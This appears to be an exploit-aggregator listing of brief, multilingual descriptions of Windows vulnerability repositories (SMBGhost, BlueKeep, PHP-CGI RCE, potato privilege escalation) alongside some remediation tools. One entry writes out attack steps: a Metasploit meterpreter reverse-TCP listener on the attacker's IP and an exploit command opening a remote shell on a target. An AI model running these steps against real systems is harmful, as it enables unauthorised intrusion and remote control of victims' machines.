Microsoft-Windows-SMBGhost-Vulnerability-Checker---CVE-2020-0796---SMBv3-RCE

Microsoft Windows SMBGhost 취약점 검사기 - CVE-2020-0796 - SMBv3-RCE 이 스캐너는 서버가 취약한지 여부만 테스트하기 위한 용도입니다. 연구나 개발을 위한 것이 아니므로 페이로드가 고정되어 있습니다. 협상 요청을 통해 SMB 방언 3.1.1 및 압축 기능을 지원하는지 확인합니다. Windows 2019 Server10.0.0.133를 대상으로 스캐너를 실행한 네트워크 덤프는 SMBGhost.pcap에서 확인할 수 있습니다. 사용법 python3 smbrcechecker.py python...

PrintNotifyPotato

PrintNotifyPotato PrintNotifyPotato Ещё один potato, использующий COM-сервис PrintNotify для повышения привилегий Для Windows 10 - 11, Windows Server 2012 - 2022 Использование root@kitploit: C:\Windows\Temp PrintNotifyPotato.exe aaaa aaa aaa aaaa aaa aaa aaaa aaa aaa aaaa aaa aaa aaaa aaa aaa aaa...

ManualRsrcDataFetching

ManualRsrcDataFetching: одна функция для замены FindResource & LoadResource & LockResource & SizeofResource windows apis. Примечание: Payload.ico — это x64 calc shellcode...

CVE-2024-4577-RCE-PoC

CVE-2024-4577 RCE Эксплойт При реализации PHP команда не заметила функцию Best-Fit преобразования кодировок в операционной системе Windows. Это упущение позволяет неаутентифицированным злоумышленникам обойти предыдущую защиту CVE-2012-1823 с помощью определённых последовательностей символов...

vulnerability-remediation-cve-2013-3900

🛡️ Исправление уязвимости CVE-2013-3900: проверка подписи WinVerifyTrust 📝 Обзор проекта Этот проект демонстрирует реальный процесс управления уязвимостями. Используя виртуальную машину Azure, я нашел критическую ошибку проверки подписи, вручную подтвердил её через PowerShell и применил исправлени...

CVE-2020-27955

Exploit d'exécution de code à distance RCE Git-lfs CVE-2020-27955 version .bat / powershell Vulnérable : git, GitHub CLI gh, GitHub Desktop, Visual Studio Code, SourceTree, SmartGit, GitKraken etc. Découvert par Dawid Golunski https://legalhackers.com https://exploitbox.io Testé sur Windows sur :...

Filedumper

FileDumper - Дампер памяти для криминалистики FileDumper v1.0.1 Простой, мощный инструмент для дампа файлов непосредственно из областей памяти процессов. Создан в ходе ночного сотрудничества между человеческой изобретательностью и творчеством ИИ — xAI Grok + Kadir Isbirligi 2026 "Однажды ночью мы...

CVE-2024-23897-test-windows

CVE-2024-23897-test-windows...

CVE-2024-21107

CVE-2024-21107 Oracle VM VirtualBox pour Windows antérieur à 7.0.16 - Élévation de privilèges Description : Une vulnérabilité a été identifiée dans Oracle VM VirtualBox sur Windows, où le programme d'installation ne définit pas les droits d'accès appropriés pour son dossier d'installation si un...

CVE-2024-30085

CVE-2024-30085 CVE-2024-30085 Alex Birnberg Versions concernées : Windows 11 23H2 Initialement depuis ici Légèrement modifié pour compiler sans configuration sur Visual Studio...

CVE-2019-0708-POC

CVE-2019-0708-POC Versions affectées Windows 7 Windows Server 2008 R2 Windows Server 2008 Windows Server 2003 Windows XP Nécessite d'ouvrir : Bureau à distance port 3389, fermer le pare-feu. Ce POC et l'outil de scan proviennent du réseau. En cas d'infraction, veuillez contacter pour suppression...

CVE-2009-3103

CVE-2009-3103 проверка уязвимости SMB nmap --script smb-vuln -p139,445 IP-TARGET настройка слушателя sudo msfconsole use exploit/multi/handler set payload windows/meterpreter/reversetcp set LHOST YOUR-KALI-IP set LPORT 80 run запуск эксплойта python3 exploit.py IP-TARGET YOUR-KALI-IP 80...

CVE-2023-32353-PoC

CVE-2023-32353 Preuve de concept Avertissement Ce code de preuve de concept est publié à des fins éducatives. Il devrait encourager d'autres personnes à trouver des vulnérabilités similaires, à les signaler de manière responsable et à les corriger. Le 23 mai 2023, Apple a publié un correctif pour...

CVE-2022-26810

CVE-2022-26809 RCE Эксплойт Описание CVE CVE-2022-26809 — уязвимость в основном компоненте Windows RPC получила оценку CVSS 9.8 не без причины, так как атака не требует аутентификации и может быть выполнена удаленно по сети, и может привести к удаленному выполнению кода RCE с привилегиями службы...

WinRE-Fix

WinRE-Fix PowerShell скрипт для безопасного перемещения/воссоздания среды восстановления Windows WinRE в новый раздел Recovery. Ключевые слова: WinRE Windows Recovery Recovery Partition reagentc KB5034441 KB5028997 CVE-2024-20666...

CVE-2025-64458-Demo

CVE-2025-64458 — Windows上のDjangoリダイレクトDoS 説明 Djangoのリダイレクト応答におけるサービス拒否（DoS）の問題により、攻撃者がリダイレクト応答の構築時にURL正規化中に過剰なCPU処理を引き起こす可能性があります。Windowsでは、PythonのUnicode NFKC正規化が特に低速です。その結果、攻撃者が制御する非常に大きなUnicode...

cve-2020-1054

CVE-2020-1054 CVE-2020-1054 LPE pour Windows 7x64 Utilisation Installez Rust si nécessaire https://www.rust-lang.org/learn/get-started Compilez le code : cargo build --release Copiez le .exe depuis target/release/ vers la cible et exécutez-le. KB Windows Si un KB Windows spécifique n'est pas...

CVE-2020-16947

CVE-2020-16947 Эта уязвимость возникает в Outlook 2019 16.0.13231.20262, установленном на Windows 10 1909 x64 TLDR; Я нашел эту ошибку с помощью фаззера winafl. Эта ошибка возникала при разборе содержимого HTML. Если атакующий успешно выполнит этот эксплойт, это может привести к удаленному...

CVE-2024-4577-PHP-CGI-RCE

Ce fichier YAML est spécialement conçu pour la vulnérabilité php-CGI-RCE - Haut risque Introduction root@kitploit: php-CGI est une interface utilisée sur les serveurs web pour exécuter des scripts PHP, connectant l'interpréteur PHP au serveur web via CGI Common Gateway Interface. Cause de la...

Sandboxie v1.18.3

Sandboxie Plus / Classic EN | 中文 System requirements| Release notes| Contribution guidelines| Security policy| Code of Conduct ---|---|---|---|--- Windows 7 or higher 64-bit| CHANGELOG.md| CONTRIBUTING.md| SECURITY.md| CODEOFCONDUCT.md Sandboxie is a sandbox-based isolation software for Windows...